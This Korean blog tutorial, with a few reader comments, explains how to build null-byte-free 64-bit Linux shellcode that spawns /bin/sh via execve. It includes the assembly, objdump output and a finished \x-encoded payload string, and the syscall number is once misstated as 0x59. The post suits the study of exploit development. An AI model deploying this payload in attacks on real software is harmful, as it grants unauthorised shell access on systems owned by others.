예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만
지금은.. 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.
(써도..그냥 만들어진거 쓰는게 속이 편해요 ㅎㅎㅎㅎㅎㅎㅎ)
일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.
C를 기반으로 /bin/sh 실행 코드 작성하기(with Execve)
어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다.어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로
하는게 속은 편하지요.
##shell.c
#include <stdlib.h>
int main()
{
execve("/bin/sh",NULL,NULL);
}
매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.Disassembling 하여 Assembly Code 확인하기
해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
0x0000000000400524 <+24>: pop %rbp
0x0000000000400525 <+25>: retq
End of assembler dump.
0x000000000040050c <+0>: push %rbp
0x000000000040050d <+1>: mov %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고,
0x0000000000400510 <+4>: mov $0x0,%edx
0x0000000000400515 <+9>: mov $0x0,%esi
0x000000000040051a <+14>: mov $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.
edx, esi에 0x0(NULL)으로 값을 세팅하고
edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면
"/bin/sh"인 것을 알 수 있습니다.
(gdb) x/s 0x4005dc
0x4005dc: "/bin/sh"
그리고 세팅된 인자값을 가지고 execve를 call합니다.
0x000000000040051f <+19>: callq 0x4003f0 <execve@plt>
execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다.
(이부분은 체크리스트 참고하시면 도움될듯해요)
[링크 추가]
여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.
mov $0x0,%edx
mov $0x0,%esi
mov $0x4005dc,%edi
mov $59, $rax
syscall
이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다.
이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.
Assembly Code 작성하기
아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.## shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq $0 ;
pushq name ;
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고
.section .data
name: .string "/bin/sh"
rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후
movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall
syscall을 이용하여 명령을 실행합니다.
#> as -o shell.o shell.s
#> ld -o shell shell.o
실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.
HaHwul #> ./shell
# echo "This is /bin/sh"
This is /bin/sh
#
일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아
문제없이 잘 작성한 것으로 보이네요.
Objdump를 이용하여 기계어 확인하기
분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다.-d 옵션으로 볼 수 있지요 :)
HaHwul #> objdump shell -d
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 6a 00 pushq $0x0
4000b2: ff 34 25 d4 00 60 00 pushq 0x6000d4
4000b9: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000c0: 48 89 e7 mov %rsp,%rdi
4000c3: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
4000ca: 48 c7 c2 00 00 00 00 mov $0x0,%rdx
4000d1: 0f 05 syscall
일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만..
strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다.
그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.
Null Byte 제거하기(Remove NullByte)
여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
movq $0, %rsi
movq $0, %rdx
syscall
일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다.
일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문에..
rax에 system call number를 넘겨주고, 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.
(주석 처리로 일단 제거처리)
HaHwul #> cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
pushq name
movq $59, %rax
mov %rsp, %rdi
#movq $0, %rsi
#movq $0, %rdx
syscall
HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: ff 34 25 c4 00 60 00 pushq 0x6000c4
4000b7: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
4000be: 48 89 e7 mov %rsp,%rdi
4000c1: 0f 05 syscall
┎ [ 02:49:24 : root ] [ /home/hahwul/test/diet ]
HaHwul #> ./shell
# exit
코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다.
이제 Null byte의 의치를 보면 pushq, 랑 2번째 mov에서 발생을합니다.
32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.
xor %eax, %eax
movb 0xb, %al
해결을 위해서 여러가지 자료를 찾아봤습니다.
찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.
HaHwul #> cat shell.s
.section .data
name: .string "/bin/sh"
.section .text
.global _start
_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx
# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax
mov %rsp, %rdi
shl $0x38, %rax
shr $0x38, %rax
syscall
Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이
shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다.
(이부분은 웹 페이지 참고를 많이 했네요.. 아직도 약간 헷갈리는 ..)
(# http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/ )
아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면
HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx
4000b7: 73 68 11
4000ba: 48 c1 e3 08 shl $0x8,%rbx
4000be: 48 c1 eb 08 shr $0x8,%rbx
4000c2: 53 push %rbx
4000c3: 48 c7 c0 3b 11 11 11 mov $0x1111113b,%rax
4000ca: 48 89 e7 mov %rsp,%rdi
4000cd: 48 c1 e0 38 shl $0x38,%rax
4000d1: 48 c1 e8 38 shr $0x38,%rax
4000d5: 0f 05 syscall
Null Byte가 사라진 것을 알 수 있습니다. (처음했을때 완전 기뻤했다죠 ㅎㅎㅎ)
정상 구동이 되는지 테스트를 해보면 /bin/sh가 실행되는 것을 확인할 수 있습니다.
HaHwul #> ./shell
# ls
shell shell.o shell.s
이제 objdump로 보인 데이터를 shell code로 만들 시간이네요.
저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.
길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.
!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05
! -> \x
\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다.
궁금하신 점은 댓글주세요. :)
Reference
http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt
HAHWULSecurity engineer, Gopher and H4cker! |
조금 고민해보니 쉬프트로 연산하는 방법을 배웠네요!! ㅋㅋ 감사합니다 :)
ReplyDelete옛날글 다시 보니 뭔가 민망하네요.. 암튼 도움되셨다니 좋습니닷.
Delete감사합니다 :)
질문이 있습니다
Delete어셈코드 중간에 mov rsi, rdi 하는건 왜그런거죠?
This comment has been removed by the author.
Delete